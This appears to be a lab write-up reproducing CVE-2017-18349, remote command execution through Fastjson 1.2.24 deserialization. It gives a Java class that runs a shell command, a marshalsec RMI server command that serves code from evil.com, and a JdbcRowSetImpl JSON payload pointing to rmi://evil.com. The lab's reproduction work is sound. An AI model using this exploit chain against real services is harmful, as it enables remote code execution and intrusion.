Fastjson 1.2.24 Deserialization Remote Command Execution (CVE-2017-18349)

中文版本(Chinese version)

Fastjson is a JSON parser developed by Alibaba. During the JSON parsing process, it supports using autoType to instantiate a specific class and call its set/get methods to access properties. By identifying relevant methods in the code, malicious exploitation chains can be constructed.

References:

Environment Setup

Execute the following command to start the test server that use Fastjson 1.2.24 as the default JSON parser:

docker compose up -d

After the server is started, visit http://your-ip:8090 to see a JSON format output.

You can update the server information by POSTing a JSON object to this address:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

Vulnerability Reproduction

Since the target environment is Java 8u102, which doesn't have the com.sun.jndi.rmi.object.trustURLCodebase restriction, we can use the com.sun.rowset.JdbcRowSetImpl exploitation chain to execute commands through JNDI injection.

First, compile and upload the command execution code, such as http://evil.com/TouchFile.class:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

Then, using the marshalsec project, start an RMI server listening on port 9999 and specify loading the remote class TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

Send the payload to the target server with the RMI address:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

As shown below, the command touch /tmp/success has been successfully executed: